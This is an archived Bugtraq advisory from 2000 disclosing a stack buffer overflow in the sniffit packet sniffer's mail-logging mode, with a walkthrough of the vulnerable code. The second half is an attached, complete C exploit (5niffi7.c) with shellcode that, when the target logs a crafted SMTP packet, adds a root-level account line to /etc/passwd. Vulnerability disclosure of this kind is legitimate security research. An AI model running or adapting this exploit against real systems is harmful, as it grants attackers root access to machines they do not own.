5132736 2000-05-25  21:19  /366 rader/ Postmaster
Mottagare: Bugtraq (import) <11004>
Ärende: `sniffit -L mail' vulnerabilities
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="y0ulUmNC+osPPQO6"
User-Agent: Mutt/1.0.1i
Message-ID:  <20000525155405.A22030@via.ecp.fr>
Date:         Thu, 25 May 2000 15:54:05 +0200
Reply-To: Michel Kaempf <maxx@VIA.ECP.FR>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Michel Kaempf <maxx@VIA.ECP.FR>
X-To:         BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM

--y0ulUmNC+osPPQO6
Content-Type: text/plain; charset=us-ascii

-------[ `sniffit -L mail' vulnerabilities : oldies but goodies ]-------
-----------------------[ MaXX <maxx@via.ecp.fr> ]-----------------------


--[ 0x00 - Sniffit ]----------------------------------------------------

Sniffit is a packet sniffer, written by Brecht Claerhout
<coder@reptile.rug.ac.be>. The latest stable version (0.3.5
- last update : 04/1997) and the latest development version
(0.3.7.beta - last update : 07/1998) can be found here :
<http://reptile.rug.ac.be/~coder/sniffit/sniffit.html>.

As a Debian GNU/Linux user, I worked on sniffit 0.3.7.beta, packaged
by Edward Betts <edward@debian.org> and available for Debian 2.2
(sniffit_0.3.7.beta-6.deb).


--[ 0x01 - Overflow ]---------------------------------------------------

Sniffit can be used as a monitoring tool, and different logging modes
(logparam) can be enabled, using the `-L logparam' switch. When using
`-L mail', sniffit tries to dump the source and the destination of
every mail logged. Thus, if mail server XXX.XXX.XXX.XXX runs `sniffit
-L mail' along with a configuration file which makes sniffit log
every incoming and outgoing TCP packet, and if attacker
YYY.YYY.YYY.YYY sends to XXX.XXX.XXX.XXX's port 25 a TCP packet which
contains the line "mail from:" :

> % telnet XXX.XXX.XXX.XXX 25
> Trying XXX.XXX.XXX.XXX...
> Connected to XXX.XXX.XXX.XXX
> Escape character is '^]'.
> 220 XXX.XXX.XXX.XXX ESMTP Postfix
> mail from: foobar
> 250 Ok
> quit
> 221 Bye

The sniffit session running on XXX.XXX.XXX.XXX will log the following
line in its logfile :

> [Thu May 25 13:22:17 2000] - YYY.YYY.YYY.YYY.1271-XXX.XXX.XXX.XXX.25: mail [mail from: foobar]

Time to figure out the steps followed by sniffit before logging this
line :

1/ `sniffit.0.3.7.c' :

[snip]
>   if ((finish < 10) && (LOGPARAM != 0))         /*  TCP packet - logfile   */
>     /* This mode will grow, so I just copied the other if() */
>     /* instead of adding a dumpmode, I think this will keep */
>     /* things more simpel. Also I use the smart dynam       */
>     /* managment of connections                             */
>     {
>     if( (finish!=TCP_EX_FRAG_HEAD)&&(finish!=TCP_EX_FRAG_NF) )
>       {  /* no FRAG handling in logfile mode yet */
> #include "sn_analyse.c"         /* dirty, but it got too confusing */
>       }
>     }
[snip]

Sniffit now jumps to `sn_analyse.c' which analyses the traffic for
logging mode.

2/ `sn_analyse.c' :

[snip]
> /*** MAIL ******************************************************************/
> if(LOGPARAM & LOGPARAM_MAIL)            /* loglevel 12 */
> {

Sniffit enters this section because it runs using the `-L mail'
switch.

[snip]
> if( (ntohs(tcphead.destination) == 25) ) /* to MAIL */
>   {
>   if(info.DATA_len!=0)
>     {
>     char workbuf1[MTU];
>     char *wb_dummy;

YYY.YYY.YYY.YYY sent a TCP packet to port 25, and this packet's
payload contained data, that's why sniffit now enters this
section. `workbuf1' contains MTU characters, and MTU == 5000 (defined
in `sn_config.h').

>     strncpy(workbuf1,data,info.DATA_len);
>     workbuf1[info.DATA_len]=0;

Sniffit copies the TCP packet's payload into `workbuf1'. But why use
`info.DATA_len' in `strncpy', when `info.DATA_len' depends on the TCP
packet logged by sniffit, and when the destination buffer `workbuf1'
can only contain 5000 characters ? No idea, but the buffer overflow
does not occur here, because the size of a single TCP packet is
usually limited by the operating system. The default on Linux systems
is 1500 characters (`ifconfig' shows `MTU:1500').

>     strlower(workbuf1);

Here, sniffit applies a filter function to the data contained in
`workbuf1' (the TCP packet's payload), which converts every upper
character (A, B, ..., Z) to the corresponding lower character (a, b,
..., z).

>     if(strstr(workbuf1,"mail from")!=NULL)
>       {
>       char workbuf2[MTU];

Again, sniffit enters this section when analysing YYY.YYY.YYY.YYY's
TCP packet.

>       strcpy(workbuf2, strstr(workbuf1,"mail from"));

Another odd `strcpy'. Again, this one is not correct, but the overflow
does not occur here, because sniffit's MTU == 5000 and the operating
system's MTU is usually much smaller.

[snip]
>       print_mail(filename,workbuf2);

Sniffit calls the `print_mail' function, contained in `sn_logfile.c',
used to log informations into sniffit's logfile.

3/ `sn_logfile.c' :

> void print_mail (char *conn, char *msg)
> {
> char line[250];
> sprintf(line,"%s: mail [%s]",conn,msg);
> print_logline (line);
> }

Haha, bingo. Here is the buffer we will overflow. Sniffit first
writes the string `conn' into the `line' buffer, which corresponds to
"YYY.YYY.YYY.YYY.1271-XXX.XXX.XXX.XXX.25" in our example. Then sniffit
writes the string ": mail [" into `line', and eventually writes the
string `msg' into `line'. `msg' contains the TCP packet's payload,
beginning at "mail from".


--[ 0x02 - Exploit ]----------------------------------------------------

Before writing an exploit, we should summarize the important steps in
the previous overflow description :

1/ sniffit allocates a 5000 characters buffer (`workbuf1') on the top
of the stack and stores the TCP packet's payload into it ;

2/ the data contained in `workbuf1' is filtered by `strlower' ;

3/ sniffit allocates another 5000 characters buffer (`workbuf2') on
the top of the stack and stores data into it, beginning with the
string "mail from" ;

4/ sniffit calls the `print_mail' function ;

5/ sniffit allocates a 250 characters buffer (`line') on the top of
the stack and write the `conn' string, the ": mail [" and the `msg'
strings into it.

All we have to do in order to exploit this buffer overflow :

1/ send a TCP packet to the port 25 of the logging host (or a packet
going through the logging host, if this host is a firewall or a
gateway) beginning with the string "mail from: " ;

2/ make sure this packet is well padded because the position of the
return address in the packet depends on the IP adresses and ports used
(otherwise we will overwrite EIP on the stack with an invalid return
value) ;

3/ make sure our packet does not exceed our operating system's MTU
(1500 characters on Linux boxes) ;

4/ make sure our shellcode and our return address do not contain any
upper characters (0x41-0x5a) or `\n' (0x0a) or `\r' (0x0d) characters.

Our TCP packet will look like this :

-------------------------------------------------------------------
| "mail from: " | AAAAAA...AAAAAA | RET | NOPs...NOPs | ShellCode |
-------------------------------------------------------------------

The main problem I had when writing the Debian 2.2 exploit is that
the address of the beginning of the `line' buffer contained an upper
character... and it was NOT the LSB byte :-) But remember... sniffit
copies our TCP packet's payload in `workbuf2' and in `workbuf1', which
should be located on the stack something like 2 * 5000 == 10000 bytes
before `line' (and in the memory 10000 bytes AFTER `line'). Nice. The
return address of the exploit will point to `workbuf1' and not to
`line', like in an ordinary exploit.

The second problem is not Debian specific : the shellcode should not
contain any upper character. I just wrote the shellcode like usual,
but added 0x1a to every upper character in the shellcode, in order to
translate the characters range 0x41-0x5a to 0x5b-0x74. Then, the first
thing the shellcode will do when executed on the target computer, is
to substract 0x1a to every character where 0x1a was added, in order to
restore the original shellcode.

The exploit attached to this email simply adds the line
"r00t:36msvq8vbkg5k:0:0:r00t:/:/bin/sh" to the `/etc/passwd' file of
the target computer. Cracking r00t's password should not be too hard
:-)


--[ 0x03 - Snort ]------------------------------------------------------

Other vulnerabilities exist in sniffit. This is old news. I recommend
using snort <http://www.snort.org>, written by Martin Roesch
<roesch@clark.net>, which is much more robust and flexible (and
up-to-date, and maintained).


--
MaXX

--y0ulUmNC+osPPQO6
Content-Type: text/x-csrc
Content-Disposition: attachment; filename="5niffi7.c"

/*
 * 5niffi7.c - exploiting sniffit 0.3.7.beta for Debian 2.2
 * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx@via.ecp.fr>
 *
 * When a running sniffit session logs the packet sent by 5niffi7,
 * the following shellcode is executed. This shellcode adds the
 * line "r00t:36msvq8vbkg5k:0:0:r00t:/:/bin/sh" to /etc/passwd.
 * Cracking r00t's password should not be too hard :-)
 *
 * 5niffi7.c is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define FROM "mail from: "
#define RET 0xbfff6b5b

char shellcode[] =
"\xeb\x5b\x90\x90\x90\x90\x90\x90"
"\x90\x90\x5e\x80\x6e\xd9\x1a\x80"
"\x6e\xdd\x1a\x80\x6e\xd7\x1a\x80"
"\x6e\xc4\x1a\x80\x6e\xe4\x1a\x90"
"\x90\x90\x90\x31\xc0\x88\x60\x0b"
"\xb0\x05\x89\xf3\x31\xc9\x66\xb9"
"\x01\x04\x31\xd2\xcd\x80\x89\xc7"
"\xc6\x60\x31\x24\x31\xc0\x88\x60"
"\x32\xb0\x04\x89\xfb\x8d\x68\x0c"
"\x31\xd2\xb2\x26\xcd\x80\x31\xc0"
"\xb0\x06\x89\xfb\xcd\x80\x31\xdb"
"\x89\xd8\x40\xcd\x80\xe8\xa8\xff"
"\xff\xff\x2f\x65\x74\x63\x2f\x70"
"\x61\x73\x73\x77\x64\x78\x72\x30"
"\x30\x74\x3a\x33\x36\x6d\x73\x76"
"\x71\x38\x76\x62\x6b\x67\x35\x6b"
"\x3a\x30\x3a\x30\x3a\x72\x30\x30"
"\x74\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x78\x78";

int main( int argc, char * argv[] )
{
	int sock_client;
	struct sockaddr_in addr_server, addr_client;
	int i, j;
	char * ip_src, * ip_dst;
	char conn[ 256 ], msg[ 1500 ];

	if ( argc != 2 )
	{
		fprintf( stderr, "Usage: %s IP\n", argv[0] );
		exit( -1 );
	}

	if ( (sock_client = socket(PF_INET, SOCK_STREAM, 0)) < 0 )
	{
		exit( -1 );
	}

	bzero( (void *)&addr_server, sizeof(struct sockaddr_in) );
	addr_server.sin_family = AF_INET;
	addr_server.sin_port = htons( 25 );
	inet_aton( argv[1], &addr_server.sin_addr );

	if ( connect(sock_client, (struct sockaddr *)&addr_server, sizeof(struct sockaddr_in)) < 0 )
	{
		exit( -1 );
	}

	i = sizeof( struct sockaddr );
	getsockname( sock_client, (struct sockaddr *)&addr_client, &i );

	ip_src = strdup( inet_ntoa(addr_client.sin_addr) ); ip_dst =
	strdup( inet_ntoa(addr_server.sin_addr) ); snprintf( conn,
	sizeof(conn), "%s.%u-%s.%u", ip_src,
	ntohs(addr_client.sin_port), ip_dst,
	ntohs(addr_server.sin_port) ); free( ip_src ); free( ip_dst );

	bzero( msg, sizeof(msg) );
	i = 0;
	for ( j = 0; j < strlen(FROM); i++, j++ )
	{
		msg[ i ] = FROM[ j ];
	}
	for ( j = 0; j < 256 - strlen(conn) - strlen(": mail [") - strlen(FROM); i++, j++ )
	{
		msg[ i ] = 'A';
	}
	*((unsigned long *)(&(msg[i]))) = RET;
	i += 4;
	for ( j = 0; j < 1024; i++, j++ )
	{
		msg[ i ] = 0x90;
	}
	for ( j = 0; j < strlen(shellcode); i++, j++ )
	{
		msg[ i ] = shellcode[ j ];
	}

	if ( write(sock_client, msg, strlen(msg)) < 0 )
	{
		exit( -1 );
	}

	close( sock_client );

	exit( 0 );
}

--y0ulUmNC+osPPQO6--
(5132736) ------------------------------------------(Ombruten)